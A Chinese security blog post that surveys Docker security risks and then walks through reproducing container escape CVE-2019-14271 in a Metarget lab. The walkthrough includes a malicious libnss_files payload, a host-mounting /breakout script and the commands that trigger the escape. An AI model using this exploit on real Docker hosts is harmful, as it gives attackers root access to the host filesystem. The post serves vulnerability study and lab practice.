本文博客地址:https://security.blog.csdn.net/article/details/128966455
一、Docker存在的安全风险
1.1、Docker镜像存在的风险
不安全的第三方组件:用户自己的代码依赖若干开源组件,这些开源组件本身又有着复杂的依赖树,甚至最终打包好的业务镜像中还包含完全用不到的开源组件。这导致许多开发者可能根本不知道自己的镜像中到底包含多少以及哪些组件。包含的组件越多,可能存在的漏洞就越多,大量引入第三方组件的同时也大量引入了风险。
恶意镜像:一些公共镜像仓库中可能存在一些恶意镜像,如果使用了这些镜像或把这些镜像作为基础镜像,就会产生相应的风险。
敏感信息泄露:为了开发、调试方便,开发者可能会将敏感信息如数据库密码、证书和私钥等内容直接写到代码中,或者以配置文件形式存放。构建镜像时,这些敏感内容被一并打包进镜像,甚至上传到公开的镜像仓库,从而造成敏感数据泄露。
1.2、Docker容器存在的风险
安全漏洞:容器应用代码也会存在SQL注入、XSS等安全漏洞,容器默认情况下连接到由docker0网桥提供的子网中。如果在启动时配置了端口映射,容器就能够对外提供服务。在这种情况下,这些安全漏洞就有可能被外部攻击者利用。
不受限制的资源共享:在默认情况下,Docker并不会对容器的资源使用进行限制。也就是说,默认配置启动的容器理论上能够无限使用宿主机的CPU、内存、硬盘等资源。如果容器使用了过多资源,就会对宿主机及宿主机上的其他容器造成影响,甚至形成资源耗尽型攻击。
隔离性风险:不安全的配置和挂载也可能容器的隔离性将被打破,进而导致安全风险。
1.3、其他风险
容器网络的风险:容器内的root用户虽然被Docker禁用了许多权限(Capabilities机制),但它目前依然具有CAP_NET_RAW权限,具备构造并发送ICMP、ARP等报文的能力。因此,ARP欺骗、DNS劫持等中间人攻击是可能发生在容器网络的。
管理接口的风险:Docker守护进程主要监听两种形式的Socket:UNIX socket和TCP socket,接口如果配置不当,攻击者可能会利用相应的权限实现容器逃逸,实现对目标主机的控制。
软件漏洞的风险:任何软件都存在漏洞。
1.4、容器逃逸
不安全配置导致的容器逃逸:用户可以通过修改容器环境配置或在运行容器时指定参数来调整约束,如果用户为容器设置了某些危险的配置参数,就为攻击者提供了一定程度的逃逸可能性。
不安全挂载导致的容器逃逸:为了方便宿主机与虚拟机进行数据交换,几乎所有主流虚拟机解决方案都会提供挂载宿主机目录到虚拟机的功能。容器同样如此。然而,将宿主机上的敏感文件或目录挂载到容器内部,尤其是那些不完全受控的容器内部,往往会带来安全问题。
相关程序漏洞导致的容器逃逸:这里的相关程序漏洞,指的是那些参与到容器生态中的服务端、客户端程序自身存在的漏洞。
内核漏洞导致的容器逃逸:从操作系统层面来看,容器进程只是一种受到各种安全机制约束的进程,因此从攻防两端来看,容器逃逸都遵循传统的权限提升流程。攻击者可以凭借此特点拓展容器逃逸的思路,一旦有新的内核漏洞产生,就可以考虑它是否能够用于容器逃逸。
二、加载不受信任的动态链接库漏洞实践(CVE-2019-14271)
2.1、背景
在19.03.x及若干非正式版本的Docker中,docker cp命令依赖的docker-tar组件会加载容器内部的nsswitch动态链接库,但自身却并未被容器化,攻击者可通过劫持容器内的nsswitch动态链接库来实现对宿主机进程的代码注入,获得宿主机上root权限的代码执行能力。
该漏洞的核心问题在于高权限进程自身并未容器化,却加载了不可控的容器内部的动态链接库。一旦攻击者控制了容器,就可以通过修改容器内动态链接库来实现在宿主机上以root权限执行任意代码。
2.2、准备工作
1、安装Ubuntu-18操作系统,这个就不再细说了
2、安装Docker先前操作:
# 添加索引
sudo apt update
sudo apt install apt-transport-https ca-certificates curl gnupg-agent software-properties-common
# 导入源仓库的GPG key
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
# 添加Docker APT软件源
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
# 查看docker版本
apt list -a docker-ce
# 安装指定版本
apt install docker-ce=5:19.03.3~3-0~ubuntu-bionic docker-ce-cli=5:19.03.3~3-0~ubuntu-bionic containerd.io
3、添加Docker源:
cd /etc/docker
vim daemon.json
--------------------------------------------------------------------------------------------------
{
"registry-mirrors" : [
"https://registry.docker-cn.com",
"http://hub-mirror.c.163.com",
"https://docker.mirrors.ustc.edu.cn",
"https://cr.console.aliyun.com",
"https://mirror.ccs.tencentyun.com"
]
}
--------------------------------------------------------------------------------------------------
# 重启Docker让服务生效
systemctl daemon-reload
systemctl restart docker.service
4、安装M4:
wget https://ftp.gnu.org/gnu/m4/m4-1.4.19.tar.gz
tar -zxvf m4-1.4.19.tar.gz
cd m4-1.4.19
./configure
make
make install
5、安装bison:
wget http://ftp.gnu.org/gnu/bison/bison-3.8.2.tar.gz
tar -zxvf bison-3.8.2.tar.gz
cd ../bison-3.8.2
make
make install
ln -s /usr/bin/bison /usr/local/bin/bison
2.3、安装靶机环境
1、安装环境
git clone https://github.com/Metarget/metarget.git
cd metarget/
pip3 install -r requirements.txt
2、安装该漏洞的Docker
./metarget cnv install cve-2019-14271
如果不报错,则表明安装成功了,如下所示:
2.4、确定目标
运行一个容器:
docker run -itd --name=14271 ubuntu bash
拿到容器的绝对路径,然后对其进行监控:
由上图可知,返回的workdir数据为:
workdir=/var/lib/docker/overlay2/7a25294970ebd49a4f3b319412445195bb788b9a8a408ff01b5e2ca056814a08/work
# 那么容器的根目录在宿主机上的绝对路径为:
/var/lib/docker/overlay2/7a25294970ebd49a4f3b319412445195bb788b9a8a408ff01b5e2ca056814a08/merged
另起一个终端,使用inotifywait工具,在宿主机上监听容器文件系统中lib目录的事件:
apt install inotify-tools
inotifywait -mr /var/lib/docker/overlay2/7a25294970ebd49a4f3b319412445195bb788b9a8a408ff01b5e2ca056814a08/merged/lib
执行docker cp命令:
docker cp 14271:/etc/passwd ./
此时在监控终端上就能看到inotifywait的输出:
可以看到,在这次复制操作中,docker-tar加载了libnss_files.so.2,接下来,我们以libnss_files.so.2为目标,构造一个恶意的动态链接库来替换它。
2.5、构建动态链接库
由于libnss_files.so.2在Glibc中,因此需要先下载Glibc库并解压:
wget https://ftp.gnu.org/gnu/glibc/glibc-2.27.tar.bz2
tar -vxjf glibc-2.27.tar.bz2
注释掉glibc-2.27/Makeconfig文件中的一行警告设置,避免加入恶意payload后编译失败(第823行):
vim glibc-2.27/Makeconfig
---------------------------------------------------------------------------
# gccwarn-c = -Wstrict-prototypes -Wold-style-definition
在glibc-2.27/nss/nss_files/目录下任意源码文件中添加恶意payload,把真正具有威胁的操作写入容器内/breakout脚本文件中,让动态链接库里的payload去执行/breakout脚本文件即可。
payload代码:
//容器内部原始libnss_files.so.2文件的备份位置
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
//恶意libnss_files.so.2的位置
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
//带有constructor属性的函数会在动态链接库被加载时自动执行
__attribute__ ((constructor)) void run_at_link(void) {
char * argv_break[2];
//判断当前是否是容器外的高权限进程(也就是docker-tar)
//如果是容器内进程,则不做任何操作
if (!is_priviliged())
return;
//攻击只需要执行一次即可
//用备份的原始libnss_files.so.2文件替换恶意libnss_files.so.2文件
//避免后续的docker cp操作持续加载恶意libnss_files.so.2文件
rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
//以docker-tar进程的身份创建新进程,执行容器内/breakout脚本
if (!fork()) {
//Child runs breakout
argv_break[0] = strdup("/breakout");
argv_break[1] = NULL;
execve("/breakout", argv_break, NULL);
}
else
wait(NULL); //Wait for child
return;
}
恶意libnss_files.so.2文件被加载时,首先会判断当前加载进程是否为docker-tar进程,如果是,则以当前进程的身份执行/breakout脚本。由于docker-tar已经执行了chroot命令,/breakout路径指向的是容器内根目录下的脚本,但由于docker-tar并未做其他命名空间级别上的隔离,因此/breakout会以docker-tar自身的root权限在宿主机命名空间内执行。
执行编译:
export LIBRARY_PATH=/usr/lib/x86_64-linux-gnu/
mkdir glibc-build
cd glibc-build
# --disable-werror 避免高版本gcc把警告当成错误
# --disable-profile 不要碰配置信息
../glibc-2.27/configure --prefix=/usr/local/glibc-2.27 --disable-profile --disable-werror
# -i是为了忽略错误
make -i
编译结束后,glibc-build/nss/libnss_files.so就是我们需要的恶意动态链接库文件。
2.6、实现逃逸
现在,我们已经有了恶意的动态链接库文件libnss_files.so。在存在漏洞的Docker环境中,如果用户执行了docker cp,后台的docker-tar进程在执行了chroot命令后一旦加载恶意文件libnss_files.so,那么容器内的/breakout脚本就会以docker-tar身份执行。
由于docker-tar已经切换了根目录,但还没有加入容器的命名空间,我们考虑在/breakout中执行挂载操作,由docker-tar将宿主机根目录挂载到容器内的/host_fs路径——这样一来,我们就实现了文件系统层面的容器逃逸。
(宿主机)创建breakout脚本文件:
vim breakout
----------------------------------------------------------------------------------------------------
#!/bin/bash
# /breakout的内容
# 首先确保容器内/host_fs路径空闲可用
umount /host_fs && rm -rf /host_fs
mkdir /host_fs
# 挂载宿主机的procfs伪文件系统
mount -t proc none /proc
# 挂载宿主机根目录到/host_fs
cd /proc/1/root
mount --bind . /host_fs
创建一个容器:
docker run -itd --name=victim ubuntu
将breakout脚本放入victim容器根目录:
docker cp breakout victim:/
(宿主机)查找libnss_files.so.2符号链接指向的库文件:
运行:
readlink -f /home/ubuntu/glibc-build/nss/libnss_files.so.2
返回:
/usr/lib/x86_64-linux-gnu/libnss_files.so
(该文件为链接文件,需要继续溯源)
-----------------------------------------------------------------------------------------------------
运行:
readlink -f /usr/lib/x86_64-linux-gnu/libnss_files.so
返回:
/lib/x86_64-linux-gnu/libnss_files.so.2
(该文件为链接文件,需要继续溯源)
-----------------------------------------------------------------------------------------------------
运行:
readlink -f /lib/x86_64-linux-gnu/libnss_files.so.2
返回:
/lib/x86_64-linux-gnu/libnss_files-2.27.so
(该文件为真实文件)
(宿主机)将回显的这个文件(/lib/x86_64-linux-gnu/libnss_files-2.27.so)移动到容器的根目录,并重命名:
# 复制到容器根目录
docker cp /lib/x86_64-linux-gnu/libnss_files-2.27.so victim:/
# 进入容器
docker exec -it victim bash
# 重命名文件
mv libnss_files-2.27.so original_libnss_files.so.2
将编译后产生恶意文件放到重命名为libnss_files.so.2,放在容器内/lib/x86_64-linux-gnu目录下:
# 重命名
mv libnss_files.so libnss_files.so.2
# 移动
docker cp libnss_files.so.2 victim:/lib/x86_64-linux-gnu/
此处我们仅作为验证,因此也或者直接将前面开源靶机metarget的EXP文件传入即可,位置如下:
metarget/writeups_cnv/docker-cve-2019-14271/exp/libnss_files.so.2
模拟执行docker cp操作:
docker cp victim:/etc/passwd ./
执行后,漏洞被触发,我们进入容器进行验证:
# 进入容器
docker exec -it victim bash
# 容器内部已经可以看到挂载的/host_fs
cat /host_fs/etc/hostname
可见已经实现了容器逃逸,显示了宿主机的hostname: